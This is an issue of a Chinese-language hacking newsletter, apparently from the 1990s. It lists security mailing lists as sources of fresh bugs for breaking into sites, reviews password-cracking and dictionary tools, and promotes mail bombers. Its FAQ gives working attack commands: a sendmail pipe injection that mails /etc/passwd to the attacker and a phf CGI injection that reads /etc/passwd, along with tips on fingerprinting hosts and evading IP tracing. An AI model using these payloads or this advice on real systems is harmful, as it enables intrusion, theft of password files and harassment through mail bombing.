保護, 如果你能夠將這份文件完全看完, 你就能夠知道電腦駭客們是如何入侵你的電腦,
我是 CoolFire, 寫這篇文章的目的是要讓大家明白電腦安全的重要性, 並不是教人
Crack Password 若有人因此文件導致惡意入侵別人的電腦或網路, 本人概不負責 !!

寫這些文章真的花了蠻多時間的, 我也沒辦法確定甚麼時候可以寫好下一篇, 所以沒有
辦法預告, 因為預告不准的話會挨罵的. 以後寫 CoohHC 的時間會少很多的, 因為工作
越來越多的關係, 希望大家見諒, 如果一兩個月才出現一篇的話也不要罵我喔~ 如果你
曾經用印表機把這些文章一篇篇的印出來的話, 你就應該知道寫這些東西有多辛苦了,
上次在朋友那邊看到, 差點吐血!

首頁上的網友交流版是一個不錯的交流方式, 在 CoolHC 沒有寫的這段時間大家可以在
上面聊一聊自己的破解心得, 這樣我也可以少寫一些 FAQ, 當然在上面有經驗的網友們
也可以分享一下你們的經驗, 讓一些新手快點進入狀況, 不會再問一些怪問題~

**** Mail List 訂閱 ****

事實上, CoolHC 寫到這裡已經沒有甚麼可以多講的了, 因為有很多東西並不是用技巧來
破解, 我們所使用的都是系統的漏洞. 而這些漏洞, 有些由於已經出現了很久, 所以有
些網站也已經更新了這些問題, 你就沒有辦法得到你所預期的結果了. 除非你能夠在他
們 Patch 之前先進入, 所以就必需要取得最新的 Bugs 資訊.

在網路上有很多系統安全討論的 Mail List, 這些 Mail List 討論的內容大多與各系統
的安全性有關, 所以在討論內容上也都會圍繞著新的 Bugs 打轉, 如果能夠善加的利用這
些資訊, 相信你可以在得到新的 Bug 資料時就輕易的拿下很多網站的密碼檔案.

所以在這一期的內容上, 我們就以如何訂閱這些 Mail List 為主題, 讓大家能夠吸收到
這些新的資訊, 這樣也不會等到 CoolHC 寫好的時候, 大多數的 Bugs 都已經補上了.

[1] 8lgm (Eight Little Green Men)
加入方式: 寫一封 E-Mail 到 majordomo@8lgm.org 標題不用填寫, 在信件內容的地
方填上: subscribe 8lgm-list

[2] Academic Firewalls
加入方式: 寫一封 E-Mail 到 majordomo@net.tamu.edu 標題不用填寫, 在信件內容
的地方填上: SUBSCRIBE Academic-Firewalls

[3] Alert
加入方式: 寫一封 E-Mail 到 request-alert@iss.net 標題不用填寫, 在信件內容
的地方填上: subscribe alert
取消訂閱: 寫一封 E-Mail 到 request-alert@iss.net 標題不用填寫, 在信件內容
的地方填上: unsubscribe alert
討論主題: Security Product Announcements
Updates to Security Products
New Vulnerabilities found
New Security Frequently Asked Question files.
New Intruder Techniques and Awareness

[4] Best of Security
加入方式: 寫一封 E-Mail 到 best-of-security-request@suburbia.net 標題不用
填寫, 在信件內容的地方填上: subscribe best-of-security

[5] Bugtraq (CoolFire 推 )
加入方式: 寫一封 E-Mail 到 LISTSERV@NETSPACE.OR 標題不用填寫, 在信件內容的
容的地方填上: SUBSCRIBE BUGTRAQ
討論主題: Information on Unix related security holes/backdoors (past and present)
Exploit programs, scripts or detailed processes about the above
Patches, workarounds, fixes
Announcements, advisories or warnings
Ideas, future plans or current works dealing with Unix security
Information material regarding vendor contacts and procedures
Individual experiences in dealing with above vendors or security organizations
Incident advisories or informational reporting

[6] COAST Security Archive
加入方式: 寫一封 E-Mail 到 coast-request@cs.purdue.edu 標題不用填寫, 在信件
內容的地方填上: SUBSCRIBE coast

[7] Computer Privacy Digest (CoolFire 推 )
加入方式: 寫一封 E-Mail 到 comp-privacy-request@uwm.edu 標題不用填寫, 在信件
內容的地方填上: subscribe cpd

http://www.uwm.edu/org/comp-privacy/ (一些舊文章的收集, 蠻有用處的)
Gopher: gopher.cs.uwm.edu.

[8] Computer Underground Digest
加入方式: 寫一封 E-Mail 到 CU-DIGEST-REQUEST@WEBER.UCSD.EDU 標題不用填寫, 在
信件內容的地方填上: SUB CUDIGEST
新聞論壇: comp.society.cu-digest (USENET)

[9] Cypherpunks
加入方式: 寫一封 E-Mail 到 majordomo@toad.com 標題不用填寫, 在信件內容的
地方填上: SUBSCRIBE cypherpunks

[10] Cypherpunks Announce
加入方式: 寫一封 E-Mail 到 majordomo@toad.com 標題不用填寫, 在信件內容的
地方填上: SUBSCRIBE cypherpunks-announce

[11] Euro Firewalls
加入方式: 寫一封 E-Mail 到 majordomo@gbnet.net 標題不用填寫, 在信件內
容的地方填上: SUBSCRIBE firewalls-uk email-addr

[12] Firewalls
加入方式: 寫一封 E-Mail 到 majordomo@greatcircle.com 標題不用填寫, 在信件
內容的地方填上: SUBSCRIBE firewalls

[13] Intrusion Detection Systems
加入方式: 寫一封 E-Mail 到 majordomo@uow.edu.au 標題不用填寫, 在信件內容
的地方填上: subscribe ids
討論主題: techniques used to detect intruders in computer systems and computer networks
audit collection/filtering
subject profiling
knowledge based expert systems
fuzzy logic systems
neural networks
methods used by intruders (known intrusion scenarios)
cert advisories
scripts and tools used by hackers
computer system policies
universal intrusion detection system

[14] NT Security
加入方式: 寫一封 E-Mail 到 request-ntsecurity@iss.net 標題不用填寫, 在信
件內容的地方填上: subscribe ntsecurity
取消訂閱: 寫一封 E-Mail 到 request-ntsecurity@iss.net 標題不用填寫, 在信
件內容的地方填上: unsubscribe ntsecurity

[15] WWW Security
加入方式: 寫一封 E-Mail 到 www-security-request@nsmx.rutgers.edu 標題不用
填寫, 在信件內容的地方填上: SUBSCRIBE www-security email_address
(上面的 email_address 填你自己的 E-Mail)

[16] Linux Security
加入方式: 寫一封 E-Mail 到 majordomo@linux.nrao.edu 標題不用填寫, 在信件
內容的地方填上: SUBSCRIBE linux-security your-name
(上面的 your-name 填你自己的名字, 最好填英文的, 怕他們看不懂)

[17] Linux Security Alert
加入方式: 寫一封 E-Mail 到 majordomo@linux.nrao.edu 標題不用填寫, 在信件
內容的地方填上: SUBSCRIBE linux-alert your-name
(上面的 your-name 填你自己的名字, 最好填英文的, 怕他們看不懂)

[18] Sun Security Alert
加入方式: 寫一封 E-Mail 到 security-alert@sun.com 標題不用填寫, 在信件內
容的地方填上: SUBSCRIBE CWS email-addr
(上面的 email-addr 填你自己 E-Mail)


上面我林林總總列出了 18 個 MailList, 請針對你喜歡的來訂閱, 當然也可以全部訂
閱, 日後覺得不需要哪一些的時候再取消掉, 在 MailList 上發信請注意 MailList 的
使用禮節及一些發信上應該注意的問題, 這些在訂閱後自然會有說明寄給你. MailList
上有些會有存放 FAQ 的地方, 也請各位先看一看這些 FAQ 再發問. 嗯, 以後大家就要
靠自己羅, 若有新發現也別忘了來封信告訴我!!!!

**** Crack 工具 ****

[JackAss V1.1]
許多網友最喜歡的就是這一篇了, 所以這一篇好像是少不了的, 但是軟體更新的速度事
實上可能沒有我們的文章快. 上次介紹的 John the Ripper 1.3 大家用了覺得如何???
有沒有甚麼大問題呢? 應該還不錯吧! 這次要介紹的是 JackAss V1.1 是我剛在國外網
頁上抓回來的, 也不知道出現了多久, 看一下檔案日期是 4-09-96, 好像已經出來很久
了, 都沒有注意到它的存在.

一般我們以 CJack 來破解密碼檔案的時候, CJack 是以呼叫字典檔, 然後逐字加密再進
行比對的方式來作解碼的動作, 所以並不是所有的密碼都找得到, 所以就有人想出以暴
力的方式來解碼, 前題是機器夠快, 然後時間夠多, 才能避免浪費掉很多系統的時間.
CJack 在設計的理念上就是這樣, 所以基本上還是略顯不足, 所以才會有很多的輔助工
具出現, 像先前幾篇我們所介紹的 KOS 就是一個例子.

JackAss 基本上是一個輔助 Jack 的工具, 跟 KOS 一樣, 需要有 CJack 才能夠執行,
他的英文註解是: Add On For CrackJack, 與 KOS 不同之處是: KOS 對 CJack 的不足
處作了補強, 讓 CJack 可以跑出一些大小寫數字混合的密碼, 而 JackAss 則是一個完
全不同的方式, 他不需要使用任何的字典檔, 因為它本身就是一個字典檔產生器. 當你
使用 JackAss 來作為 CJack 的前導, 執行 JackAss 之後他會依照你的選項來製造出字
典檔, 然後再呼叫 CJack 來跑這些字.

試了一下 JackAss 似乎功能上不怎麼樣, 有點類似國內上次出現的那支密碼破解程式,
不過速度上倒是比較快, 如果你是要用暴力法來破解, 又有幾台不錯的機器, 你可以試
著在不同的機器上跑, 這樣速度會快一點, 如果單用一台機器要跑暴力法, 可能就很累
了. 當然, 如果你可以只跑單一 User 的話, 速度會快一點, 所以我建議拿 JackAss 來
跑 root 的部份, 其它的用 GlobalKOS 來跑字典法就行了~~ 不要那麼累!

之前在 tw.comp.security 看到有幾位網友在討論解碼的文章, 其中有一位網友的觀點
跟我的有點相像, 他的說法是: 將所有的字典檔先編碼, 存成一個大型的資料庫, 當你
抓回密碼檔的時候, 直接用密碼檔來作逐行的比對, 這樣速度上會快一點, 因為省去了
編碼的時間. 如果有人要作這樣的程式的話, 我想應該要有一個不小的硬碟, 用來儲存
這個完成後頗大的資料庫, 然後查詢方面最好是用 SQL 來作查詢, 速度上應該會快一點
因為在其它的查詢方法上, 如果資料庫非常龐大, 可以系統跑起來會像當機一般吧?? 再
者機器的速度應該也要夠快, 最好呢, 能夠寫出一個 CGI 來 Call 這支程式, 讓大家可
以在網頁上丟出 passwd 檔來查詢, 再將查詢完的結果寄回電子郵件信箱中. 這看起來
好像有點神話, 其實這很容易作到的, 只是沒有人真的這樣作, 是嗎?? 目前還沒預估過
這樣作所須要的主機配備, 大家有空的時候幫忙想一想吧??

[WordList V1.0]
這個程式是一支字典檔產生器, 他能產生五個字的字典檔, 就是排列組合啦~ 也沒有用
甚麼特殊的方法, 使用他來產生字典可以產生一個相當大的字典, 不過速度上相當的慢
就是了, 這種程式所產生的字典有點暴力, 因為他跟本不依照字典的方式來產生, 但是
所產生的字也就相當的可觀, 不過只要密馬是五個字的, 都一定逃不過~ 屬於暴力法的
一種. 速度慢? 慢到甚麼程度呢? 你親自的試一下就知道了, 我跑到一半就把它停掉了,
不曉得是用甚麼語言寫的, 還 For Win 3.x/95, 純 DOS 下無法執行. 除了速度慢的缺
點之外, 這支程式所跑出來的字典檔是五個字的, 我覺得真對五個字的密碼來作解碼是
有點暴力, 不過大家應該把自己的密碼弄長一點, 因為之前我破解的一組密碼, 居然有
人用一個英文字元來當密碼, 系統管理人員應該將密碼設定最少四個字元, 這樣密碼才
不容易被人盜用, 不然就將系統安全作得好一點, 不要讓人輕易的拿到 passwd 檔.

>> 這些檔案你都可以在我們的首頁中抓到!

**** 新舊短聞 ****

UpYours 4 好像還沒有正式版本的消息, 不過最近 Beta3 已經推出了, 但是在 OTRiCS
所得到的消息, GlobalKos 決定放棄 UpYours 這個專案, 也就是說以後可能沒有這套軟
體可以用了. 也沒有錯啦, 最近的 Mail Server 跟 Server 間的傳輸是要經過認證的,
Mail Bomb 也對許多人造成了困擾, 甚至干擾到網路正常的運作, 認證之後可能會發生
你的匿名 Mail 無法真的匿名的問題, 勸大家還是少用吧! 有機會我會將可能是最後一
個版本的 UpYours Beta 3 放在首頁上讓大家留念, 上面這個消息還沒有得到 GlobalKOS
這個 Group 的證實就是了.
詳細的狀況大家可以到: http://www.otrics.com/hackr1.html 翻翻看! 記得看仔細一點
喔, 因為有很多的資訊, 這邊都有連結點啦~~

GlobalKOS 的站台在幾個月前不明原因 "消失" 了, 有人可能還沒有見過就連不上了, 我
找到了一個以前的 Mirror 點, 在上面也可以下載 KOS 及 UpYours, 有興趣的網友可以
連到: http://www.wilter.com/ehack/files/misc/koskrack.html 瞧瞧~

使用 Windows 95 及 Windows NT 的網友, 應該已經被 Out-Of-Band 煩死了吧? 這個系
統的漏洞真的是害了許多人, 微軟也還沒有為這個事件發表甚麼意見, 不過 for 95 的
Patch 已經出來了, Windows NT 的使用者也可以趕緊下載 Service Pack 3 來補一補!!
不然很可能下一秒鐘被 ReBoot 的就是你的系統.

**** 首頁統計 ****

我們的首頁感謝大家的支持, 現在人數 20427 人次? 經過 Web Count 的追蹤, 每天的
平均上站人次是: 274 人次, 至於上站的[時間/人數]對照如下表:
+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 時| 00| 01| 02| 03| 04| 05| 06| 07| 08| 09| 10| 11|
+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 人| 13| 13| 11| 8| 5| 5| 5| 5| 8| 9| 10| 11|
+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 時| 12| 13| 14| 15| 16| 17| 18| 19| 20| 21| 22| 23|
+---+---+---+---+---+---+---+---+---+---+---+---+---+
| 人| 12| 12| 10| 11| 11| 12| 11| 11| 12| 12| 13| 13|
+---+---+---+---+---+---+---+---+---+---+---+---+---+
塞車時段: 22~01 疏通時段:04~07

+-----+-----+-----+-----+-----+-----+-----+
| SUN | MON | TUE | WED | THU | FRI | SAT |
+-----+-----+-----+-----+-----+-----+-----+
| 271 | 249 | 236 | 254 | 223 | 247 | 254 |
+-----+-----+-----+-----+-----+-----+-----+
感覺上都差不多, 星期天是多了一點

作這個統計, 可以讓大家在上站的時候, 挑選比較好上站的時間, 這樣才不會浪費你寶
貴的時間在等待資料的傳輸, 這些資訊你也可以在首頁上點選 Web Story 按鈕看到,
每個小時會更新一次, 請多多利用!

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

**** CoolFAQ ****

[Q0]
我自己有一個 Home Page, 我要如何在我的Home Page上連結你的首頁呢???
[A0]
我們的首頁連結圖片放在:
http://www.showtower.com.tw/~fetag/fetag.gif
首頁連結, 請連結到:
http://www.showtower.com.tw/~fetag/Hack.htm
所以你只要在你的 HTML 檔中加上底下這一行就可以了:
飛鷹工作室

[Q1]
我一進去的目錄是"/",我用ls指令後都沒有看到資料夾,有沒有可能是把/etc/passwd隱
藏了呢?我進去時先出來的畫面: 220 flag12 Microsoft FTP service (Verision2.0)
我又用了anonymous.ftp.這兩個username進去,也成功了而且目錄也都一樣,那有沒有可
能passwd不放在這裡?
[A1]
因為一般我們在找 password 檔的時候, 我們測試(實作)的 Server 都是使用 Unix 的 Server
來作, 所以我會寫是 /etc/passwd, 照你這個情況看來, 你進入的 FTP Server 應該是 Window
NT 的系統(我也沒有把握能夠確定這件事), 如果是這樣的狀況的話, 一般的 WinNT
系統是不會有 /etc 這個目錄的, 自然也就無法用 ls 指令看到了!

[Q2]
我覺得知道某人的IP又能怎樣呢? 現在ISP都是使用不固定的IP呀? 若你說有紀錄呀?
可是像我使用非自己的或是免費的呢?像我的網頁就有告訴人家免費上網(中研院提供的)
查到IP也沒用呀?為何還需要用E-mail bomb 的隱密IP呢?我實在想不通, 可以告訴我嗎?
[A2]
對呀!! 但是如果該主機可以查出該 IP 的確實上線時間 (有 Log 檔可查)另外也可以
再經由電信系統查甚麼時候撥到哪支電話的電話號碼, 循線就可以逮到你了~ 但是現在
電信局不太管這樣的事, 不過如果你犯了很大的錯, 有檢察官要求他們查, 你說查不查
得到 ????? IP 固不固定又很重要嗎 ??? 還是能 Fake IP 是最好的~~ 把 Ping關掉??
呵呵~~ 想通吧!

[Q3]
1.I can't download KeyPro Emu'. I think the location is wrong. Can you send it
to me?
2.嗨...,UpYours3還是傳不下來...能否告訴我其他地方哪裡有? or用別的方法寄來?
(真的!沒騙你,我每次下載到1.xMB時,就會卡住,都不動了...)
3.I can not download kos.zip by FTP. Can you use UUDECODE to past the kos.zip
to me ?
[A3]
有很多網友在傳檔案的時候都會發生這種狀況, 由於我的 ISP 日前將 DNS Server 及
Http Server 作了一些調整, 有些檔案好像沒有搬好的樣子, 目錄底下遺失了一些檔案,
自然各位也就沒有辦法抓到了, 不過有很多檔案可以在 File Mirror Site 抓到, 目前
我們有熱心的網友提供了 ftp.cads.com.tw/pub/security 這個位址供本站 Mirror 一
些檔案, 我也將一些較大, 大家比較不容易抓下來的檔案都放了一份在上面, 所以不管
是甚麼檔案, 如果有抓不下來, 或是系統告訴你有連結錯誤的, 你都可以到這個 FTP
抓取, 不過該主機對 Anonymous 設限, 一次最多只能有 5 的使用者同時上線抓檔, 如
果有連不上的, 就請你找個比較不塞車的時間再上去抓抓看! 我們沒有辦法提供 E-Mail
送檔的服務, 雖然之前有幫幾位網友送檔, 但是現在有了 ftp 讓各位自己抓取, 我們也
就不浪費網路的頻寬及時間了.

[Q4]
我已經申請了cyberspace的帳號,請問要從那一個畫面連上cyberspace,然後再去crack?
如果我用ftp or telnet進入了系統,那我的IP位址和我所做的任何動作會不會在那裡留
下任何線索?
[A4]
我想你們都誤會了我的意思, 不是說你 Login 進入 Cyberspace 再 Login 到別的站台,
別人就只會查到你在 Cyberspace 的帳號, 事實上當你 Login 進 Cyberspace 時, 也已
經暴露了你目前的 IP, 因為你 Login 的時候 Cyberspace 也會詢問你的 IP.


[Q5]
1.你的站為什麼關了?
2.I can't download Cracker Jack,KOS and other files,why?
This is the error message when I download "Cracker Jack 1.4":
Error 404
Not found - file doesn't exist or is read protected even tried multi
CERN httpd 3.0
3.When i join your Homepag, i receive the error:
HTTP/1.0 404 Object Not Found .
What has happend?
[A5]
那一陣子由於我的 ISP 這邊傳輸的狀況並不是很好, 所以有很多人可能連上來的時候找
不到東西了, 這個問題也一直困擾我很久, 但是也是沒有辦法真正的徹底解決, 所以如
果有這種狀況的話, 請大家寫信通知我一下, 如果是遷移到其它的 Web 站去, 或是暫時
停止服務的話, 我們也會在上面作一些說明, 不會有讓大家找不到的情況發生的!

[Q6]
Sorry to bother you again,because I thought the "John the Ripper". can help me
find out the register code which I want;however,can you hepl me to find out
the register code for the software "Xing MPEG Player 32-Bit 3012 Trial",which
I down loaded from ......
[A6]
居然有人會來找我問軟體註冊碼的問題, 我可沒有辦法回答, 這不是我的專業, 當然破解
站台也不是我的專業, 所以如果有此類的問題的話, 請各位到 alt.hacker 論壇去發問,
或是在國內找找其它提供註冊碼的站台, 我沒有辦法幫你耶....:(

[Q7]
你知道嗎?news上俞煌男有寫一個程式是sendmail 收到password to you know?你是否也
有同樣的program?and letmein 2.0不知進展如何?
[A7]
呵呵~~ Know How 是不是?? 其實要看他寫出來的東西是針對哪個 Sendmail 版本啦, 像
很多版本的 Sendmail 都有被人家抓出一些 Bug 出來, 那也要看這個 Bug 的危險性到
甚麼程度,一般這些東西都會有人整理出來, 但是如果 Mail Server 使用的剛好不是
Bug 有列出來的話, 你可能也沒有辦法了吧?? 我舉一個很久以前在 Bugtraq 上面看到
的 sendmail bug 來作說明好了, 這個 Bug 的版本我忘了, 好像是 sendmail 5.6 的吧
(很久了), 現在不曉得還有沒有人在用這個版本, 如果有的話, 就算他倒霉好了! 是這
樣的, 這個版本的 Sendmail 可以讓人執行一些指令, 所以我們可以利用這個漏洞把
passwd 檔寄給自己, 而連到 smtp 就可以控制 sendmail 來發信了!

telnet xxx.xxx.xxx 25
helo MyDear
mail from: "|/bin/mail me@myhost rcpt to: me@myhost
data
this is a test mail
.

像這樣就可以讓這台主機把他自己的 /etc/passwd 寄給我了, 但是也要看他有沒有提供
mail這支程式, 有沒有放在 /bin 目錄, 像這目錄也是很重要的, 有的例子我舉出來像
cgi hole 我是舉例他放在 /cgi-bin 目錄, 但有些人的目錄名稱是 /cgi 或 /bin 或
/exe 就沒有人會變通, 一直寫信來問我, 為甚麼照這個指令沒有辦法抓到... 等等, 很
難講啦, 誰曉得他們目錄命名的方式,都是隨人家高興的嘛~~

不過像你所講的, 把這種 Bug 寫成程式來抓 passwd 檔, 那是不是要針對很多版本的
sendmail 都要有判斷? 再針對每個版本送出不同的指令? 如果真的可以寫出來這樣的程
式的話, 那一定是很不錯, 不過這應該還只是一個理想吧?? 俞兄如果有寫好的, 請寄送
一份給小弟, 我倒想看看程式可以強到甚麼程度. 還有, 並不是每個 sendmail Bug 都
是連上 smtp 就可以作了, 有些還要寫一些小程式 (Scripts) 才跑才有用, 也就是說你
必需要有一個 login 到該 server 的帳號才行.... 所以..... 難說啦!

[Q8]
I already download avalanche v2.8 mail bomber,but I can't send it! When I
start send the bomb massage,why always receive 553 error ot other error?
can you help me how to seng it!

[A8]
有些 MailBomb 我並沒有實際的測試過, 因為種類實在太多了, 現在好像越來越多人喜
歡寫這種程式, 如果你有類似的問題, 可以到我們首頁上的留言版發問, 相信有用過的
網友會提供你一些設定上的建議, 讓你的程式能夠正常的運作.
[Q9]
Hi, I read your hack homepage, it's very good. Do you know any BBS or sites
about system security & hacking? They are always underground, I can't find
them.Thanks alot.

[A9]
目前中文的 Hack Homepage 大多都是關於軟體註冊碼的網站, 有些網站現在也會提供一
些關於破解主機方面的資訊, 我們將在首頁上建立一些網頁的連結點, 讓網友們可以到
其它的網站上看看其它的破解資訊, 如果你有建立一個相關的網頁的話, 請寫信給我,
我會將你的網頁加入我們站上的連結. 至於 bbs 的話, 各大專院校的 bbs 應該都有
Hacker 區的討論, 目前國內以交大資工的 Hacker 區資料最為豐富, 你有空也可以上去
看看. bbs.cis.nctu.edu.tw
[Q10]
很冒昧的打擾你,小弟拜讀你的大作中 coolhk2 時,便實地的操練了一下,當小弟在瀏
覽器中下達︰
http://xxxxxx/cgi-bin/nph-test-cgi?*
後,誠如你所說的一份報表出來如下︰
CGI/1.0 test script report:
argc is 1. argv is \*.
SERVER_SOFTWARE = Apache/1.0.0
SERVER_NAME = auto.nypi.edu.tw
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,*/*
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/nph-test-cgi
QUERY_STRING = 2 Count.cgi acc acc.c archie calendar count date discuss doit.cgi dopost.c
finger fortune guestmsg guestmsg.c imagemap jj move.pl nph-count nph-test-cgi phf post-query
post.c query ranking re.c repost.c repost.c.bak test-cgi test-cgi.tcl uptime vote.pl wais.pl
REMOTE_HOST = 140.130.1.218
REMOTE_ADDR = 140.130.1.218
REMOTE_USER =
CONTENT_TYPE =
CONTENT_LENGTH =
但是當小弟再接著輸入︰
http://xxxxxxxx/cgi-bin/phf?Qalias=x%0aless%20/etc/passwd
可是卻沒有 passwd 出現,僅出現如下︰
Ⅰ.
Server Error
The server encountered an internal error or misconfiguration and
was unable to complete your request.
Please contact the server administrator, allen@auto.nypi.edu.tw and
inform them of the time the error occurred, and anything you might have
done that may have caused the error.
Ⅱ.
Query Results
/usr/local/bin/ph -m alias=x less /etc/passwd
上面的 Ⅰ及Ⅱ 是小弟分別在不同的站所試出的結果,請問一下為什麼會如
此呢,是不是小弟指令下錯了或者是該站的軟體已經把 bug 給 patch 過了
,謝謝你!
[A10]
正如你所說, 可能這個站台已經把他們的 httpd Patch 過了, 所以沒有辦法拿到, 也不
一定要用 less 指令, 也可以用 more, cat 等指令來試看看, 你上面所下的指令應該都
正確才對,如果真是已經 Patch 過了的話, 就只好試試看系統有沒有其它的漏洞羅.

這個漏洞主要是系統所提供的 phf 的 bug, 有些主機在 test-cgi 的 Report 上的 Query
String 那一行沒有 phf, 也就表示這台主機沒有提供 phf 這個 cgi 讓你使用, 也就沒
有辦法用這個方式來取得 passwd 檔了.

[Q11]
1. Can you tell me how to find the KOS file by YAHOO.The best of idle is tell
me the FTP site.Thank you. :)
2.我給您發完信後,想從您的首頁上拉個CJACK14下來,發現上面好像沒有耶 我點取了
那個名字,可是報告說沒有這個文件。 (~~~~~~~~~~~~不會是沒有吧
[A11]
你現在已經可以在 ftp.cads.com.tw/pub/security 中拿到這個檔, 這是由網友 Robin
所提供的ftp, 站台上許多程式都可以在這裡抓到. 如果你在我們站台上抓不下來, 請到
這裡試試, 如果你想在 Yahoo 上找的話, 尋找 globalkos 這個關鍵字, 可以順便連到
國外的站台看看他們擺了哪些東西, 亦可順便學點東西喔~~

[Q12]
Can you tell me how to check infomation of host? How to know the FTP server
and MAIL server?

[A12]
對, 有很多網友來信詢問如何破解某某站台, 如何破解.... 都沒有順便說明一下你們想
破解的系統是屬於哪種系統, 先教大家看一下系統名稱, 你只要 telnet 進入, 當 Unix
提示符號出現的時候, 用 uname -svrmn 就可以看到了, 各選項代表的意義如下說明:
-s: Show System Name, -v: Show Operating Version, -r: Reveals The Software Release Level
-m: Identifies The Machine Hardware For You -n:The node name of the computer is revealed
另外再來說明一下如何看 Sendmail 版本, 我們只要連到 Port 25 就可以看到了, 如:

telnet ms1.xxxxxxxxx.xxx.tw 25
220 ms1.xxxxxxxxx.xxx.tw Sendmail 5.65v3.2 (1.1.8.2/30May97-0801PM) Fri, 6 Jun 1
997 11:38:23 +0800

至於 ftp 呢? 你只要連上 ftp 就應該會在畫面上看到他的版本名稱了, 如:

C:\WINDOWS>ftp ftp.xxxxxxxxx.xxx.tw
Connected to ftp.xxxxxxxxx.xxx.tw.
220-Serv-U FTP-Server v2.2 for WinSock ready...
220-Welcome to xxxxxxxxxxxx xxx Ftp Server(ftp.xxxxxxxxx.xxx.tw).
220-From xxx.xx.xxx.xx


[Q13]
請問你能否告訴我如何製造mail bomb,因為最近老是收到廣告信或者有的沒有的,實在很
討厭.
[A13]
首頁上有一堆Mail Bomb 的程式, 你需要的只是把他們抓下來, 然後在電腦上跑就行了,
當然裡面也都有說明檔之類的文件. 在收到廣告信件的時候, 請不要一昧的回信, 因為
有些發 MailList 的人, 對系統的運作並不 解, 有時可能是利用在帳號目錄設 .foward
的方式來發信的, 而信件中的 Reply to: 欄位填的也是該帳號, 當遇到這種情況的時候,
你所發的信會讓所有在這個 MailList 的人都收到, 如果所有的收件人都回這封信的話,
那你的信箱一定就爆爛了! 所以要先冷靜的分析一下這封信的發法, 會不會傷害到別人,
再決定要怎麼辦, 千萬別亂炸!~ MailBomb 也會害到自己的, 切記~

[Q14]
您好!我是XXXXXXXXXXXXXXXXX!!對於您寫的TXT2DIC 有一點問題!為什麼所建的密
碼檔PASSDICT不會增加!只是每增加一次字典,PASSDICT會隨著不同!
[A14]
TXT2DIC 的產生方式會覆蓋掉舊有的檔案, 所以請在使用的時候使用不同的檔案名稱,
目前最新的 TXT2DIC V1.2 也還沒有使用 File Append 的方式, 所以仍然會將舊檔案覆
蓋, 若你不想覆蓋舊檔, 請使用不同的檔名來進行轉換! 否則程式將不會給你任何的警
告就把檔案蓋下去了!

[Q15]
在網路閒逛時發現FETAG Software's Hacking Page像發現寶一樣的下載了Coolhc#1-6,
在以前電影、小說所描述的駭客情節,以為只有在外國才有的事,想不到在台灣已有人
在這片領域默默的耕耘,雖然我不是很聰明但還是很有興趣的想出點力。拜讀你的大作
似乎有點意猶未盡,想請教你什麼時候再出第七集,坊間有什麼中文的入門書可參考的
。還有想當一個駭客族會不會很難。
[A15]
謝謝你的鼓勵, 7 跟 6 之間的確是隔了很久, 且這一篇也沒有講到甚麼東西, 有點對不
起大家的等待了. 若想要學入侵, 希望各位能多看一看 Unix 方面的書, 先將 Unix 的指
令讀熟, 最基本的當然就是 Shell 指令, 再來就是學著寫一些簡單的 Shell Script,
若沒有餘力自己找系統的漏洞, 又想要破解站台, 建議要多看看一些系統安全的 Mail
List, (好多老話重談), 這一篇就針對 Mail List 的部份, 有簡單的介紹, 讓大家對這
些系統安全的 Mail List 有些 解, 進而多吸收一些知識.

[Q16]
我想請問一下,我是用Browser抓/etc/passwd的, 面root的密碼是被編過碼的嗎?
我用Crack Jack 1.4解碼。但是好像不行,到底要用什麼解才對,一下用Crack Jack,一
下又用Brute,我都看不懂,還有就是UltraEdit是什麼?Pass2Dic有用嗎?還有我用
NetTerm 4.1版for win31可是ftp or sendmail好像都進不去,是什麼原因呢?另外就是
我用CuteFtp 1.8版,Login設anonymous or Double,ID和passwd都空白,但是為什麼就
可以進Ftp,然後用NetTerm卻進不去? 還有KOS(1.?M)的不會用。
[A16]
好多問題喔~ 我一一的簡短回答:[1]要看 Passwd 是否是編碼過的, 在 CoolHC#1 中就有
說明, 我沒有親眼看到 passwd 檔, 沒有辦法回答. [2]CrackJack 跟 Brute 都是功能相
同的程式, CrackJack 速度比較快, 請你先看一下 CoolHC1~6 之後再發問, 因為有很多
東西都是寫過的了! [3]UltraEdit??? 文書編輯程式, 我用它來寫 Home Page [4]Pass2Dic
在 CJack 上已經有選項了, 但是在 Brute 之類的成式上就用得到. [5]ftp 有提供匿名
登入, 但是在 Telnet 沒有, 所以無法登入. [6] KOS 的用法也寫過了!

[Q17]
when i use txt2dic.exe , i can't use it first, when i go into the third step
it show " incorrect dos version....done!" secondly, when i gp into the fourth
step , it show" have some error on code-62 "what's wrong ?
[A17]
第一個問題, 在第三步驟發生 Incorrect dos version, 你用的是 1.0 版, 所以需要呼
叫到 dos 的 sort 程式, 請使用 1.2 版 (For Win32 only) 就不會有此狀況了! 二,你
發生 Error 62 的狀況, 這在上一次的 FAQ 中也有講過了, 請去翻一翻就 解了! 不過
這個狀況也在 1.2 版改進了, 所以建議還是用新的版本, 就不會有這種狀況發生了!

[Q18]
When I get a passwd file which is shadowed....Please tell me how to do....
[A18]
如果我跟你講, 無解呢?? 有些 shadow 過的檔, 只要你有辦法抓到另外一個 shadow 檔
是有辦法解開的, 但是單要使用 shadow 過的檔, 我不相信有人能夠解開~ 所以還是要抓
到另一個來 "配對" 才有用! 至於如何抓到 shadow? 很多人都有這樣的問題, 那就要看
系統 "提供" 的漏洞多不多了, 不然它 shadow 也就沒有意義羅!

[Q19]
First of all, I'd like to give you some feedbacks about your page.
I'm not in Vancouver. I always encounter the slow transfer rate with many
Taiwanese sites. I only got 30 bytes/sec with your site. I don't know the
reason... Anyway, you are the first Chinese hacking page I've ever seen.
I like that. I just want to learn more. Could yu give me some Chinese hacking
pages' addresses? I will be glad to visit them. By the way, I'm not interseted
in emailbombs, because they hurt others. But I'm interested in defensing and
cracking emailbombs. I hope you can update your page oftenly. Thanks a lot!
[A19]
謝謝你, 我們會盡量的更新我們的網頁, 至於其它中文的類似站台??? 嗚... 你們在哪
裡呀?? 快點現身吧!! 如果大家有找到新的類似站台的話, 寄得趕快寫信來告訴我呦~
